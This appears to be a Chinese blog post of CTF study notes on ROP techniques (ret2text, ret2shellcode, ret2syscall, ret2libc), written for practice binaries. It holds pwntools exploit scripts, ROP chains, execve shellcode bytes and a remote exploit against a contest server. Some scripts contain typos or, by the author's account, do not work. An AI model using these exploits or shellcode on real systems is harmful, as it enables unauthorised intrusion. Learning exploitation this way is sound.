随着NX(Non-eXecutable)保护的开启,传统的直接向栈上或堆上直接注入代码的方式难以继续发挥效果,由此攻击者们也提出来相应的方法来绕过保护。

目前被广泛使用的攻击方法是返回导向编程(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序组已有的小片段(gadgets)来改变某些寄存器或变量的值,从而控制程序的执行流程。

flag{L3arn_R0p_1s_3@5y_but_k33p_is_c00l}

gadgets通常是以ret结尾的指令序列,通过这样的序列,我们可以多次劫持程序控制流,从而运行特定的指令序列,以完成攻击的目的。

返回导向编程这一名称的由来是因为其核心在于利用了指令集中的ret指令,从而改变了指令留的执行顺序,并通过数条gadget“执行”了一个新的程序。

使用ROP攻击一般得满足如下条件:

  • 程序漏洞允许我们劫持控制流,并控制后续的返回地址。
  • 可以找到满足条件的gadgets以及相应的gadgets的地址。

作为一项基本的攻击手段,ROP攻击并不局限于栈溢出漏洞,也被广泛应用在堆溢出等各类漏洞的利用当中。

需要注意的是,现代操作系统通常会开启地址随机化保护(ASLR),这意味着gatgets在内存中的位置往往是不固定的。但幸运的是其相对于对应段基址的偏移通常是固定的,因此我们在寻找了合适的gadgets之后可以通过其他方式泄露程序运行环境信息,从而计算出gatgets在内存中的真正地址。

ret2text

原理:

ret2text即控制程序执行程序本身已有的代码(即 .text段中的代码)。其实,这种攻击方法是一种庞统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码(也就是gadgets),这就是我们所要说的ROP。

这时,我们需要知道对应返回代码的位置。当然程序也可能会开启某种保护,我们需要想办法去绕过这些保护。

例子:

其实,在栈溢出的基本原理中,我们已经介绍了这一简单的攻击。在这里,我们再给出另外一个例子,bamboofox中介绍ROP时使用的ret2text的例子。

点击下载:ret2text

首先查看一下程序的保护机制

可以看出程序是32位程序,且仅仅开启了栈不可执行保护。然后我们用IDA来查看源代码。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("There is something amazing here, do you know anything?");
  gets(s);
  printf("Maybe I will tell you next time !");
  return 0;
}

可以看出程序在主函数中使用了gets函数,显然存在栈溢出漏洞。接下来查看反汇编代码:

在secure函数中发现了存在调用 system(“/bin/sh”) 的代码,那么如果我们直接控制程序返回至 0x0804863A ,那么就可以得到系统的shell了。

下面就是我们如何构造payload了,首先需要确定的是我们能够控制的内存的起始地址距离main函数的返回地址的字节数。

记得加可执行权限:chmod +x /home/kali/Desktop/ret2text

pwndbg> b *0x080486AE
Breakpoint 1 at 0x80486ae: file ret2text.c, line 24.
pwndbg> r
Starting program: /home/kali/Desktop/ret2text 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
There is something amazing here, do you know anything?

Breakpoint 1, 0x080486ae in main () at ret2text.c:24
24      ret2text.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────[ REGISTERS / show-flags off / show-compact-regs off ]─────
*EAX  0xffffcfbc ◂— 0
*EBX  0xf7e23e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x223d2c /* ',="' */
*ECX  0xf7e258a0 (_IO_stdfile_1_lock) ◂— 0
 EDX  0
*EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0
*ESI  0x80486d0 (__libc_csu_init) ◂— push ebp
*EBP  0xffffd028 ◂— 0
*ESP  0xffffcfa0 —▸ 0xffffcfbc ◂— 0
*EIP  0x80486ae (main+102) —▸ 0xfffdade8 ◂— 0xfffdade8

可以看到esp为 0xffffcfa0 ,ebp为 0xffffd028 ,同时s相对于esp的索引为 esp+0x1c ,因此,我们可以推断:

  • s的地址为0x0xffffcfbc
  • s相对于ebp的偏移为0x6c
  • s相对于返回地址的偏移为0x6c+4

因此最后的payload如下:

from pwn import *

p = process('./ret2text')
system_addr = 0x0804863A
payload = b'a' * (0x6c+4) + p32(system_addr)
p.sendline(payload)
p.interactive()

ret2shellcode

原理

ret2shellcode,即控制程序执行shellcode代码。shellcode指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的shell。通常情况下,shellcode需要我们自行编写,即此时我们需要自行向内存中填充一些可执行的代码。

在栈溢出的基础上,我们要想执行shellcode,需要对应的binary在运行时,shellcode所在的区域具有可执行权限。

需要注意的是,在新版内核当中引入了较为激进的保护策略,程序中通常默认不再有同时具有可写和可执行的段,这使得传统的ret2shellcode手法不再能直接完成利用。

例子

这里我们以bamboofox中的ret2shellcode为例,需要注意的是,你应当在内核版本较老的环境中进行实验(如Ubuntu 18.04 或更老版本)。由于容器环境间共用同一内核,因此这里我们无法通过docker完成环境搭建。

点击下载:retshellcode

首先检测程序开启的保护:

可以看出,程序仍然是基本的栈溢出漏洞,不过这次还同时将对应的字符串复制到buf2处。简单查看可知buf2在bss段。

.bss:0804A080                               public buf2
.bss:0804A080                               ; char buf2[100]

这时,我们简单的调试一下程序,看看这个bss段是否可执行。

通过vmmap,我们可以看到bss段对应的段具有可执行权限:

0x804a000  0x804b000 rw-p     1000   1000 /home/kali/Desktop/ret2shellcode

那么这次我们就控制程序执行shellcode,也就是读入shellcode,然后控制程序执行bss段处的shellcode。其中,相应的偏移计算类似于rettext中的例子。

  • esp:0xffffcf90
  • s:esp+0x1c=0xffffcfac
  • ebp:0xffffd018
  • 偏移:ebp-s=6c

最终的payload为:

from pwn import *

p = process('./ret2shellcode')
shellcode=asm(shellcraft.sh())
bss_addr = 0x0804A080
payload = shellcode.ljust((0x6c+4),b'a') + p32(bss_addr)
p.sendline(payload)
p.interactive()

题目:sniperoj-pwn100-shellcode-x86-64

除了使用shellcraft 默认生成的shellcode,我们还可以去Exploit Database Shellcodes找shellcode

顺便积累一下

shellcode中常见的短字节:
32 位 短字节 shellcode -> 21 字节
\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
64 位 较短的 shellcode -> 23 字节
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05


shellcode全是可见字符的:
x32 下的:
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA
x64 下的:
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

ret2syscall

原理

ret2syscall,即控制程序执行系统调用,获取shell。

点击下载:ret2syscall

首先检测程序开启的保护

源程序为32位,开启了NX保护。接下来利用IDA查看源码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

可以看出此次仍然是一个栈溢出。类似之前的做法,我们可以获得v4相对于ebp的偏移:

  • esp:0xffffcfe0
  • v4:esp+0x1c=0xffffcffc
  • ebp:0xffffd068
  • 偏移:ebp-v4=0x6c

即偏移为108。所以我们需要覆盖的返回地址相对于v4的位移为112。此外,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得shell,所以我们利用程序中的gadgets来获得shell,而对应的shell获取则是利用系统调用。关于系统调用的知识,我们参考:

简单地说,只要我们把对应获取shell的系统调用的参数放进对应的寄存器中,那么我们在执行int 0x80就可以执行对应的系统调用。比如说这里我们利用如下系统调用来获取shell

execve("/bin/sh",NULL,NULL)

其中,该程序是32位,所以我们需要使得

  • 系统调用号,即eax应该为0xb
  • 第一个参数,即ebx应该指向/bin/sh的地址,其实执行sh的地址也可以。
  • 第二个参数,即ecx应该为0
  • 第三个参数,即edx应该为0

而我们如何控制这些寄存器的值呢?这里就需要使用gadgets。比如说,现在栈顶是10,那么如果此时执行了pop eax,那么现在eax的值就为10。现在我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在gadgets最后使用ret来再次控制程序执行流程的原因。具体寻找gadgets的方法,我们可以使用ropgadgets这个工具。

首先,我们来寻找控制eax的gadgets

$ ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

可以看到有上述几个都可以控制eax,这里选取第二个来作为gadgets。

类似的,我们可以得到控制其他寄存器的gadgets

$ ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

这里,我们选择:

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

这个可以直接控制其他三个寄存器。

此外,我们还需要获得/bin/sh字符串对应的地址。

$ ROPgadget --binary rop --string '/bin/sh'           
Strings information
============================================================
0x080be408 : /bin/sh

可以找到对应的地址,此外,还有int 0x80的地址,如下

$ ROPgadget --binary rop --only 'int'                 
Gadgets information
============================================================
0x08049421 : int 0x80

Unique gadgets found: 1

同时,也找到相应的地址了。

下面就是对应的payload,其实0xb为execve对应的系统调用号。

from pwn import *

p = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh_addr = 0x080be408

payload = flat([b'a'*112,pop_eax_ret,0xb,pop_edx_ecx_ebx_ret,0,0,binsh_addr,int_0x80])

p.sendline(payload)
p.interactive()

题目

暂无

ret2libc

原理

ret2libc即控制函数执行libc中的函数,通常是返回至某个函数的plt处或者函数的具体位置(即函数对应的got表项的内容)。一般情况下,我们会选择执行system(“/bin/sh”),故而此时我们需要知道system函数的地址。

例子

我们由简单到难分别给出三个例子。

例1

这里我们以bamboofox中ret2libc1为例

点击下载:ret2libc1

首先,我们可以检查一下程序的安全防护

源程序为32位,开启了NX保护。下面来看一下程序源代码,确定漏洞位置

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(s);
  return 0;
}

可以看到在执行gets函数的时候出现了栈溢出。此外,利用ropgadget,我们可以查看是否有/bin/sh存在

$ ROPgadget --binary ret2libc1 --string '/bin/sh'
Strings information
============================================================
0x08048720 : /bin/sh

确实存在,再次查看一下是否有system函数存在。经在IDA中查找,确实也存在。

.plt:08048460; [00000006 BYTES: COLLAPSED FUNCTION _system]

那么,我们直接返回该处,即执行system函数。相应的payload如下

from pwn import *

p = process('./ret2libc1')

binsh_addr = 0x08048720
system_addr = 0x08048460
payload = flat(['a'*112,system_addr,'b'*4,binsh_addr])
p.sendline(payload)

p.interactive()

这里我们需要注意函数调用栈的结构,如果是正常调用system函数,我们调用的时候会有一个对应的返回地址,这里以’bbbb’作为虚假的地址,其后参数对应的参数内容。

这个例子相对来说简单,同时提供了system地址与/bin/sh的地址,但是大多数程序并不会有这么好的情况。

例2

这里以bamboofox中的ret2libc2为例

点击下载:ret2libc2

该题目与例1基本一致,只不过不再出现/bin/sh字符串,所以此外需要我们自己来读取字符串,所以我们需要两个gadgets,第一个控制程序读取字符串,第二个控制程序执行system(“/bin/sh”)。由于漏洞与上述一致,这里就不再多说,具体的exp如下

from pwn import *

p = process('./ret2libc2')
elf = ELF('./ret2libc2')
gets_plt = elf.plt['gets']
system_plt = elf.plt['system']
pop_ebx = 0x0804843d # ROPgadget --binary ret2libc2  --only 'pop|ret' | grep 'ebx'
buf2 = 0x0804A080 #.bss:0804A080; char buf2[100]
payload = b'a'*(0x6x+4)+p32(gets_plt)+p32(pop_ebx)+p32(buf2)+p32(system_plt)+b'b'*4+p32(buf2)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

需要注意的是,这里向程序的bss段的buf2处写入/bin/sh字符串,并将其地址作为system的参数传入。这样以便于可以获得shell。

我的理解:gets_plt调用get函数,然后把buf2的地址放入ebx寄存器,然后ret到system函数,然后调用system函数,先用’bbbb’作为假的返回地址填充到栈上,然后将buf2的地址作为参数传入。当程序执行到 ret 指令时,会从栈上取出 buf2 的地址,并将其作为参数传递给 system 函数。由于 buf2 的地址指向 .bss 段,而 .bss 段是可写的,因此 /bin/sh 字符串将被写入到 buf2 所指向的内存区域。(buf2可写,所以直接用sendline写就行)

例3

这里以bamboofox中的ret2libc3为例

点击下载:ret2libc3

在例2的基础上,再次将system函数的地址去掉。此时,我们需要同时找到system函数地址与/bin/sh字符串的地址。首先,查看安全防护

可以看出,源程序仍旧开启了堆栈不可执行保护。进而查看源码,发现程序的bug仍然是栈溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No surprise anymore, system disappeard QQ.");
  printf("Can you find it !?");
  gets(s);
  return 0;
}

那么我们如何得到system函数的地址?这里就主要利用了两个知识点

  • system函数属于libc,而libc.so动态链接库中的函数之间相对偏移是固定的。
  • 即使程序有ASLR保护,也只是针对于地址中间位随机,最低的12位并不会改变。而libc在github上有人进行收集,如下
  • https://github.com/niklasb/libc-database

所以如果我们知道libc中某个函数的地址,那么我们就可以确定该程序利用的libc。进而我们就可以知道system函数的地址。

那么如何得到libc中的某个函数的地址呢?我们一般常用的方法是采用got表泄露,即输出某个函数对应的got表项的内容。当然,由于libc的延迟绑定机制,我们需要泄露已经执行过的函数的地址。

我们自然可以根据上面的步骤先得到libc,之后在程序中查询偏移,然后再次获取system的地址,但这样手工操作次数太多,有点麻烦,这里给出一个libc的利用工具,具体细节请参考readme

此外,在得到lib之后,其实libc中也是有/bin/sh字符串的,所以我们可以一起获得/bin/sh字符串的地址。

这里我们泄露__libc_start_main的地址,这是因为它是程序最初被执行的地方。基本利用思路如下

  • 泄露__libc_start_main地址
  • 获取libc版本
  • 获取system地址与/bin/sh地址
  • 再次执行源程序
  • 触发栈溢出执行system(‘/bin/sh’)

exp如下(由于附件被修改,官方wp没用)

# 首先计算s相对于EBP的偏移
esp = 0xffffcf90
s = esp + 0x1c
ebp = 0xffffd018
x = ebp - s
print(hex(x))

# 然后计算libc的基地址
from pwn import *
p = process('./ret2libc3')
elf = ELF('./ret2libc3')

libc_start_main_got = elf.got['__libc_start_main']
puts_plt = elf.plt['puts']
main_addr = elf.sym['main']
puts_got = elf.got['puts']
printf_got = elf.got['printf']

p.recvuntil('Can you find it !?')

payload1 = flat([b'a' * (x+4),puts_plt,main_addr,puts_got])
p.sendline(payload1)
puts_addr = u32(p.recv(4))
print("puts_addr>>>"+hex(puts_addr))

libcbase = puts_addr - 0x7b090
system_addr = libcbase + 0x4bbb0
binsh_addr = libcbase + 0x1b626a

print("get shell")
payload = flat([b'A' * 112, system_addr, 0xdeadbeef, binsh_addr])
p.sendline(payload)

p.interactive()

唉~没打通,不知道哪里有问题,哭了,PWN好难

等以后有机会再来看看这题

题目:比赛碰到的题 :polarctf 的 format_ropx86

64位 可用 u64(p.recvuntil(‘\x7f’)[-6:].ljust(8,b’\x00′)) 接收地址

exp如下:

import LibcSearcher
from pwn import *
context.log_level='debug'
elf = ELF('./format_ropx86')

puts_plt = elf.plt['puts']
libc_start_main_got = elf.got['__libc_start_main']
main = elf.symbols['main']
puts_got = elf.got['puts']
vuln_addr = elf.sym['vuln']

main_addr = 0x80485ff
print(hex(puts_got))

#格式化字符串漏洞
p = remote('120.46.59.242',2105)
p.recvuntil(b"Please input your name\n")
payload1 = p32(0x0804A030) + b'a'*4 + b"%4$n"
p.sendline(payload1)
p.recvuntil(b'Please input your secret:')
###

payload2 = b'a' * (0x108+4) + p32(puts_plt) + p32(vuln_addr) + p32(puts_got)

p.sendline(payload2)
p.recvline()
#puts_addr = u32(p.recv(4))
puts_addr = u32(p.recvuntil(b'\xf7')[-4:])
print("puts_addr = "+hex(puts_addr))

libcbase_addr = puts_addr - 0x5f150
#so,system's address should be libcbase_addr + system's address in libc
system_address = libcbase_addr + 0x3a950
str_bin_sh_addr = libcbase_addr + 0x15912b

payload = b'a' * (0x108+4) + p32(system_address) + p32(0) + p32(str_bin_sh_addr)
p.sendline(payload)
p.interactive()

(这道题涉及到了格式化字符串的知识)

说点什么
支持Markdown语法
在"基本ROP"已有1条评论
Loading...